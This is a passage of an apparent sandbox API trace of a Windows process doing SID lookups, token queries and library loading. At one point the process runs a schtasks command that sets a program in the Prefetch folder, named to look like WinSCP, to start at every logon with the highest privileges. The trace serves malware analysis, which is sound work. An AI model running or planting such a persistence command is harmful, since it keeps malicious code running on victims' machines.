[3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0079.251] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0079.251] malloc (_Size=0x18) returned 0xef040 [0079.251] malloc (_Size=0x18) returned 0xeef20 [0079.252] SysStringLen (param_1="S-1-5-21") returned 0x8 [0079.252] SysStringLen (param_1="-") returned 0x1 [0079.252] memcpy (in: _Dst=0x3810e8, _Src=0x381058, _Size=0x12 | out: _Dst=0x3810e8) returned 0x3810e8 [0079.252] memcpy (in: _Dst=0x3810f8, _Src=0x381268, _Size=0x4 | out: _Dst=0x3810f8) returned 0x3810f8 [0079.252] free (_Block=0xef020) [0079.252] free (_Block=0xef040) [0079.252] malloc (_Size=0x18) returned 0xef040 [0079.252] malloc (_Size=0x18) returned 0xef020 [0079.252] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0079.252] SysStringLen (param_1="4219442223") returned 0xa [0079.252] memcpy (in: _Dst=0x338368, _Src=0x3810e8, _Size=0x14 | out: _Dst=0x338368) returned 0x338368 [0079.252] memcpy (in: _Dst=0x33837a, _Src=0x381058, _Size=0x16 | out: _Dst=0x33837a) returned 0x33837a [0079.252] free (_Block=0xeef20) [0079.253] free (_Block=0xef040) [0079.253] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0079.253] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0079.253] malloc (_Size=0x18) returned 0xef040 [0079.253] malloc (_Size=0x18) returned 0xeef20 [0079.253] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0079.253] SysStringLen (param_1="-") returned 0x1 [0079.253] memcpy (in: _Dst=0x3382c8, _Src=0x338368, _Size=0x28 | out: _Dst=0x3382c8) returned 0x3382c8 [0079.253] memcpy (in: _Dst=0x3382ee, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x3382ee) returned 0x3382ee [0079.253] free (_Block=0xef020) [0079.253] free (_Block=0xef040) [0079.253] malloc (_Size=0x18) returned 0xef040 [0079.254] malloc (_Size=0x18) returned 0xef020 [0079.254] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0079.254] SysStringLen (param_1="4223814209") returned 0xa [0079.254] memcpy (in: _Dst=0x34d958, _Src=0x3382c8, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0079.254] memcpy (in: _Dst=0x34d980, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0079.254] free (_Block=0xeef20) [0079.254] free (_Block=0xef040) [0079.254] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0079.254] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0079.254] malloc (_Size=0x18) returned 0xef040 [0079.254] malloc (_Size=0x18) returned 0xeef20 [0079.254] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0079.254] SysStringLen (param_1="-") returned 0x1 [0079.255] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x3e | out: _Dst=0x34dc88) returned 0x34dc88 [0079.255] memcpy (in: _Dst=0x34dcc4, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x34dcc4) returned 0x34dcc4 [0079.255] free (_Block=0xef020) [0079.255] free (_Block=0xef040) [0079.255] malloc (_Size=0x18) returned 0xef040 [0079.255] malloc (_Size=0x18) returned 0xef020 [0079.255] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0079.255] SysStringLen (param_1="3835049652") returned 0xa [0079.255] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0079.255] memcpy (in: _Dst=0x34d996, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0079.255] free (_Block=0xeef20) [0079.255] free (_Block=0xef040) [0079.256] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0079.256] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0079.256] malloc (_Size=0x18) returned 0xef040 [0079.256] malloc (_Size=0x18) returned 0xeef20 [0079.256] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0079.256] SysStringLen (param_1="-") returned 0x1 [0079.256] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x54 | out: _Dst=0x34dc88) returned 0x34dc88 [0079.256] memcpy (in: _Dst=0x34dcda, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x34dcda) returned 0x34dcda [0079.256] free (_Block=0xef020) [0079.256] free (_Block=0xef040) [0079.257] malloc (_Size=0x18) returned 0xef040 [0079.257] malloc (_Size=0x18) returned 0xef020 [0079.257] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0079.257] SysStringLen (param_1="1000") returned 0x4 [0079.257] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0079.257] memcpy (in: _Dst=0x34d9ac, _Src=0x3810e8, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0079.257] free (_Block=0xeef20) [0079.257] free (_Block=0xef040) [0079.257] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0079.257] malloc (_Size=0x5e) returned 0xf0800 [0079.257] free (_Block=0xef020) [0079.257] malloc (_Size=0x18) returned 0xef020 [0079.258] free (_Block=0xf0800) [0079.258] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0079.259] GetLastError () returned 0x7a [0079.259] malloc (_Size=0x14) returned 0xef040 [0079.259] malloc (_Size=0x16) returned 0xeef20 [0079.259] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebcca4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0079.259] malloc (_Size=0x18) returned 0xef0a0 [0079.259] malloc (_Size=0x18) returned 0xeef00 [0079.259] free (_Block=0xef040) [0079.259] free (_Block=0xeef20) [0079.260] free (_Block=0xeff30) [0079.260] free (_Block=0xeef00) [0079.260] free (_Block=0xef0a0) [0079.260] free (_Block=0xef020) [0079.260] free (_Block=0xee200) [0079.260] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0079.261] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0079.261] GetLastError () returned 0x7a [0079.261] malloc (_Size=0x2c) returned 0xee240 [0079.261] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0079.261] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0079.261] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0079.261] malloc (_Size=0x1c) returned 0xeff30 [0079.261] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0079.261] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0079.261] malloc (_Size=0x18) returned 0xef020 [0079.261] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0079.261] malloc (_Size=0x18) returned 0xef0a0 [0079.261] malloc (_Size=0x18) returned 0xeef00 [0079.261] SysStringLen (param_1="S-1-") returned 0x4 [0079.261] SysStringLen (param_1="5") returned 0x1 [0079.261] memcpy (in: _Dst=0x381058, _Src=0x381268, _Size=0xa | out: _Dst=0x381058) returned 0x381058 [0079.261] memcpy (in: _Dst=0x381060, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381060) returned 0x381060 [0079.261] free (_Block=0xef020) [0079.261] free (_Block=0xef0a0) [0079.261] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0079.261] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0079.261] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0079.261] malloc (_Size=0x18) returned 0xef0a0 [0079.261] malloc (_Size=0x18) returned 0xef020 [0079.261] SysStringLen (param_1="S-1-5") returned 0x5 [0079.262] SysStringLen (param_1="-") returned 0x1 [0079.262] memcpy (in: _Dst=0x3810e8, _Src=0x381058, _Size=0xc | out: _Dst=0x3810e8) returned 0x3810e8 [0079.262] memcpy (in: _Dst=0x3810f2, _Src=0x381268, _Size=0x4 | out: _Dst=0x3810f2) returned 0x3810f2 [0079.262] free (_Block=0xeef00) [0079.262] free (_Block=0xef0a0) [0079.262] malloc (_Size=0x18) returned 0xef0a0 [0079.262] malloc (_Size=0x18) returned 0xeef00 [0079.262] SysStringLen (param_1="S-1-5-") returned 0x6 [0079.262] SysStringLen (param_1="21") returned 0x2 [0079.262] memcpy (in: _Dst=0x381268, _Src=0x3810e8, _Size=0xe | out: _Dst=0x381268) returned 0x381268 [0079.262] memcpy (in: _Dst=0x381274, _Src=0x381058, _Size=0x6 | out: _Dst=0x381274) returned 0x381274 [0079.262] free (_Block=0xef020) [0079.262] free (_Block=0xef0a0) [0079.262] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0079.262] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0079.262] malloc (_Size=0x18) returned 0xef0a0 [0079.262] malloc (_Size=0x18) returned 0xef020 [0079.262] SysStringLen (param_1="S-1-5-21") returned 0x8 [0079.262] SysStringLen (param_1="-") returned 0x1 [0079.262] memcpy (in: _Dst=0x381058, _Src=0x381268, _Size=0x12 | out: _Dst=0x381058) returned 0x381058 [0079.262] memcpy (in: _Dst=0x381068, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381068) returned 0x381068 [0079.262] free (_Block=0xeef00) [0079.263] free (_Block=0xef0a0) [0079.263] malloc (_Size=0x18) returned 0xef0a0 [0079.263] malloc (_Size=0x18) returned 0xeef00 [0079.263] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0079.263] SysStringLen (param_1="4219442223") returned 0xa [0079.263] memcpy (in: _Dst=0x338368, _Src=0x381058, _Size=0x14 | out: _Dst=0x338368) returned 0x338368 [0079.263] memcpy (in: _Dst=0x33837a, _Src=0x381268, _Size=0x16 | out: _Dst=0x33837a) returned 0x33837a [0079.263] free (_Block=0xef020) [0079.263] free (_Block=0xef0a0) [0079.263] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0079.263] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0079.263] malloc (_Size=0x18) returned 0xef0a0 [0079.263] malloc (_Size=0x18) returned 0xef020 [0079.263] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0079.263] SysStringLen (param_1="-") returned 0x1 [0079.263] memcpy (in: _Dst=0x3382c8, _Src=0x338368, _Size=0x28 | out: _Dst=0x3382c8) returned 0x3382c8 [0079.263] memcpy (in: _Dst=0x3382ee, _Src=0x381058, _Size=0x4 | out: _Dst=0x3382ee) returned 0x3382ee [0079.263] free (_Block=0xeef00) [0079.263] free (_Block=0xef0a0) [0079.263] malloc (_Size=0x18) returned 0xef0a0 [0079.263] malloc (_Size=0x18) returned 0xeef00 [0079.263] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0079.263] SysStringLen (param_1="4223814209") returned 0xa [0079.263] memcpy (in: _Dst=0x34dc88, _Src=0x3382c8, _Size=0x2a | out: _Dst=0x34dc88) returned 0x34dc88 [0079.263] memcpy (in: _Dst=0x34dcb0, _Src=0x381058, _Size=0x16 | out: _Dst=0x34dcb0) returned 0x34dcb0 [0079.264] free (_Block=0xef020) [0079.264] free (_Block=0xef0a0) [0079.264] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0079.264] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0079.264] malloc (_Size=0x18) returned 0xef0a0 [0079.264] malloc (_Size=0x18) returned 0xef020 [0079.264] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0079.264] SysStringLen (param_1="-") returned 0x1 [0079.264] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0079.264] memcpy (in: _Dst=0x34d994, _Src=0x381058, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0079.264] free (_Block=0xeef00) [0079.264] free (_Block=0xef0a0) [0079.264] malloc (_Size=0x18) returned 0xef0a0 [0079.264] malloc (_Size=0x18) returned 0xeef00 [0079.264] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0079.264] SysStringLen (param_1="3835049652") returned 0xa [0079.264] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x40 | out: _Dst=0x34dc88) returned 0x34dc88 [0079.264] memcpy (in: _Dst=0x34dcc6, _Src=0x381058, _Size=0x16 | out: _Dst=0x34dcc6) returned 0x34dcc6 [0079.264] free (_Block=0xef020) [0079.264] free (_Block=0xef0a0) [0079.264] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0079.264] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0079.264] malloc (_Size=0x18) returned 0xef0a0 [0079.265] malloc (_Size=0x18) returned 0xef020 [0079.265] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0079.265] SysStringLen (param_1="-") returned 0x1 [0079.265] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0079.265] memcpy (in: _Dst=0x34d9aa, _Src=0x381058, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0079.265] free (_Block=0xeef00) [0079.265] free (_Block=0xef0a0) [0079.265] malloc (_Size=0x18) returned 0xef0a0 [0079.265] malloc (_Size=0x18) returned 0xeef00 [0079.265] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0079.265] SysStringLen (param_1="1000") returned 0x4 [0079.265] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x56 | out: _Dst=0x34dc88) returned 0x34dc88 [0079.265] memcpy (in: _Dst=0x34dcdc, _Src=0x381058, _Size=0xa | out: _Dst=0x34dcdc) returned 0x34dcdc [0079.265] free (_Block=0xef020) [0079.265] free (_Block=0xef0a0) [0079.265] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0079.265] malloc (_Size=0x5e) returned 0xf0800 [0079.265] free (_Block=0xeef00) [0079.265] malloc (_Size=0x18) returned 0xeef00 [0079.266] free (_Block=0xf0800) [0079.266] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0079.276] GetLastError () returned 0x7a [0079.276] malloc (_Size=0x14) returned 0xef0a0 [0079.276] malloc (_Size=0x16) returned 0xef020 [0079.276] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebccb4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0079.277] malloc (_Size=0x18) returned 0xeef20 [0079.277] malloc (_Size=0x18) returned 0xef040 [0079.277] free (_Block=0xef0a0) [0079.277] free (_Block=0xef020) [0079.277] free (_Block=0xeff30) [0079.277] free (_Block=0xef040) [0079.277] free (_Block=0xeef20) [0079.277] free (_Block=0xeef00) [0079.278] free (_Block=0xee240) [0079.278] malloc (_Size=0x48) returned 0xed2c0 [0079.278] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0079.294] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0079.295] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0079.295] malloc (_Size=0x18) returned 0xeef00 [0079.295] CreateEnvironmentBlock () returned 0x1 [0079.300] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0079.300] malloc (_Size=0x18) returned 0xeef20 [0079.300] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"winscp\" /sc ONLOGON /tr \"'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"winscp\" /sc ONLOGON /tr \"'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xcb8, dwThreadId=0xc98)) returned 1 [0079.305] CloseHandle (hObject=0x2f8) returned 1 [0079.305] CloseHandle (hObject=0x2fc) returned 1 [0079.305] free (_Block=0xeef20) [0079.306] DestroyEnvironmentBlock () returned 0x1 [0079.306] malloc (_Size=0x48) returned 0xed270 [0079.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x583dbbe0, dwHighDateTime=0x1d9eb0c)) [0079.306] SetEvent (hEvent=0x1f0) returned 1 [0079.306] CloseHandle (hObject=0x244) returned 1 [0079.306] CloseHandle (hObject=0x234) returned 1 [0079.348] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0079.348] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0079.348] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0079.691] SetLastError (dwErrCode=0x0) [0079.691] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0079.691] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0079.691] SetLastError (dwErrCode=0x0) [0079.691] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0079.691] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0079.691] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0079.691] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f4f0 [0079.691] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f4f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0079.691] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f4f0 | out: hHeap=0x2e0000) returned 1 [0079.693] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0079.694] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0079.694] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0079.694] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0079.694] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0079.694] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0079.694] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0079.697] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0079.697] GetCurrentThread () returned 0xfffffffffffffffe [0079.697] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x234) returned 1 [0079.697] malloc (_Size=0xd8) returned 0xf4740 [0079.697] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0079.697] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0079.698] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0079.698] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0079.698] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0079.698] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0079.698] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0079.698] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0079.699] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0079.699] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0079.699] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0079.699] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0079.699] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0079.699] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0079.700] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0079.700] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0079.700] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0079.700] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0079.700] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0079.700] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 